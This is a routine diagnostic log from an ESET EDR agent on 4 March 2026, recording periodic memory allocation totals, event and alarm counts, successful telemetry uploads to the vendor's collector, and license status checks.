2026-03-04 11:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1574 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; BaseEvent: 131 KB; rules::ProcessConditionsCache: 115 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 127320 KB;
2026-03-04 11:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1935 KB; ModuleMetadata: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 539 KB; BaseEvent: 313 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 105 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 81 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127879 KB;
2026-03-04 11:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2310 KB; ModuleMetadata: 606 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; BaseEvent: 490 KB; BatchSerializer::EventsQueueTag: 129 KB; rules::ProcessConditionsCache: 116 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128498 KB;
2026-03-04 11:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2692 KB; BaseEvent: 676 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; BatchSerializer::EventsQueueTag: 178 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 99 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129116 KB;
2026-03-04 11:07:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:03:09, To:, 2026-03-04 11:07:17, Duration (s):, 248, Events Per Second:, 16.554, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3405, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457125
2026-03-04 11:07:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s351ms.
2026-03-04 11:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1570 KB; ModuleMetadata: 606 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; rules::ProcessConditionsCache: 133 KB; BaseEvent: 118 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 127346 KB;
2026-03-04 11:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:08:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:08:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:08:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:08:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1976 KB; ModuleMetadata: 1778 KB; TcpIpConnectionsManager: 609 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 302 KB; ModuleInfoCache: 290 KB; CacheEntry: 261 KB; rules::ProcessConditionsCache: 196 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129667 KB;
2026-03-04 11:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2436 KB; ModuleMetadata: 1778 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 535 KB; BaseEvent: 504 KB; ModuleInfoCache: 290 KB; CacheEntry: 261 KB; rules::ProcessConditionsCache: 178 KB; BatchSerializer::EventsQueueTag: 141 KB; cloudutils::CloudData: 122 KB; ProcessInfoCommandLineTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130412 KB;
2026-03-04 11:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2805 KB; ModuleMetadata: 1779 KB; BaseEvent: 687 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; ModuleInfoCache: 290 KB; CacheEntry: 261 KB; BatchSerializer::EventsQueueTag: 188 KB; rules::ProcessConditionsCache: 134 KB; cloudutils::CloudData: 122 KB; ProcessInfoCommandLineTag: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130943 KB;
2026-03-04 11:11:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:07:17, To:, 2026-03-04 11:11:02, Duration (s):, 225, Events Per Second:, 18.507, Events:, 4169, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3517, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 649, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 468184
2026-03-04 11:11:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s390ms.
2026-03-04 11:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1779 KB; ProcessInfo: 1761 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; ModuleInfoCache: 290 KB; CacheEntry: 261 KB; BaseEvent: 157 KB; cloudutils::CloudData: 122 KB; rules::ProcessConditionsCache: 112 KB; BatchSerializer::EventsQueueTag: 40 KB; ProcessInfoCommandLineTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129191 KB;
2026-03-04 11:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2166 KB; ModuleMetadata: 1779 KB; TcpIpConnectionsManager: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 342 KB; ModuleInfoCache: 290 KB; CacheEntry: 261 KB; rules::ProcessConditionsCache: 205 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 91 KB; ProcessInfoCommandLineTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129941 KB;
2026-03-04 11:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:13:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:13:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:13:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:13:36 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2513 KB; ModuleMetadata: 1779 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 518 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 176 KB; BatchSerializer::EventsQueueTag: 138 KB; cloudutils::CloudData: 122 KB; ProcessInfoCommandLineTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 130449 KB;
2026-03-04 11:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2938 KB; ModuleMetadata: 1779 KB; BaseEvent: 716 KB; TcpIpConnectionsManager: 634 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 224 KB; BatchSerializer::EventsQueueTag: 191 KB; cloudutils::CloudData: 122 KB; ProcessInfoCommandLineTag: 35 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 131235 KB;
2026-03-04 11:14:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:11:01, To:, 2026-03-04 11:14:58, Duration (s):, 237, Events Per Second:, 17.258, Events:, 4097, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3421, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 673, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455273
2026-03-04 11:15:00 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s375ms.
2026-03-04 11:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1779 KB; ProcessInfo: 1711 KB; TcpIpConnectionsManager: 631 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 191 KB; BaseEvent: 172 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129254 KB;
2026-03-04 11:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2050 KB; ModuleMetadata: 1779 KB; TcpIpConnectionsManager: 576 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 564 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 341 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 156 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 89 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129737 KB;
2026-03-04 11:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2389 KB; ModuleMetadata: 1779 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 566 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; BaseEvent: 509 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; BatchSerializer::EventsQueueTag: 134 KB; cloudutils::CloudData: 122 KB; rules::ProcessConditionsCache: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130186 KB;
2026-03-04 11:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:18:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:18:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:18:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:18:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2775 KB; ModuleMetadata: 1779 KB; BaseEvent: 697 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; TcpIpConnectionsManager: 521 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; BatchSerializer::EventsQueueTag: 183 KB; rules::ProcessConditionsCache: 175 KB; cloudutils::CloudData: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130842 KB;
2026-03-04 11:19:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:14:58, To:, 2026-03-04 11:19:09, Duration (s):, 251, Events Per Second:, 16.239, Events:, 4090, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3378, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455136
2026-03-04 11:19:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s359ms.
2026-03-04 11:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1779 KB; ProcessInfo: 1545 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 530 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 163 KB; BaseEvent: 135 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128908 KB;
2026-03-04 11:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 1969 KB; ModuleMetadata: 1779 KB; TcpIpConnectionsManager: 604 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 325 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 253 KB; cloudutils::CloudData: 122 KB; BatchSerializer::EventsQueueTag: 88 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129749 KB;
2026-03-04 11:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2329 KB; ModuleMetadata: 1779 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 510 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; rules::ProcessConditionsCache: 180 KB; BatchSerializer::EventsQueueTag: 137 KB; cloudutils::CloudData: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130243 KB;
2026-03-04 11:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2692 KB; ModuleMetadata: 1779 KB; BaseEvent: 692 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; ModuleInfoCache: 290 KB; CacheEntry: 262 KB; BatchSerializer::EventsQueueTag: 184 KB; rules::ProcessConditionsCache: 163 KB; cloudutils::CloudData: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130815 KB;
2026-03-04 11:23:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:19:09, To:, 2026-03-04 11:23:10, Duration (s):, 241, Events Per Second:, 17.032, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3403, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 701, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457129
2026-03-04 11:23:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s375ms.
2026-03-04 11:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 11:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 11:23:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 11:23:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 11:23:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 11:23:37 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 11:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1520 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 540 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 98 KB; BaseEvent: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 128908 KB;
2026-03-04 11:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1794 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 480 KB; rules::ProcessConditionsCache: 344 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; BaseEvent: 215 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 59 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129537 KB;
2026-03-04 11:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2159 KB; ModuleMetadata: 1885 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 481 KB; BaseEvent: 394 KB; rules::ProcessConditionsCache: 326 KB; ModuleInfoCache: 303 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130114 KB;
2026-03-04 11:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ProcessInfo: 2496 KB; ModuleMetadata: 1885 KB; BaseEvent: 563 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 514 KB; ModuleInfoCache: 303 KB; rules::ProcessConditionsCache: 284 KB; CacheEntry: 277 KB; BatchSerializer::EventsQueueTag: 151 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130658 KB;
2026-03-04 11:27:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 11:23:09, To:, 2026-03-04 11:27:49, Duration (s):, 280, Events Per Second:, 14.485, Events:, 4060, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3365, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 450596
2026-03-04 11:27:50 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s357ms.
2026-03-04 11:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122906 KB; ModuleMetadata: 1885 KB; ProcessInfo: 1282 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 567 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 511 KB; ModuleInfoCache: 303 KB; rules::ProcessConditionsCache: 278 KB; CacheEntry: 277 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 13 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; BatchSerializer::EventsQueueTag: 3 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128756 KB;
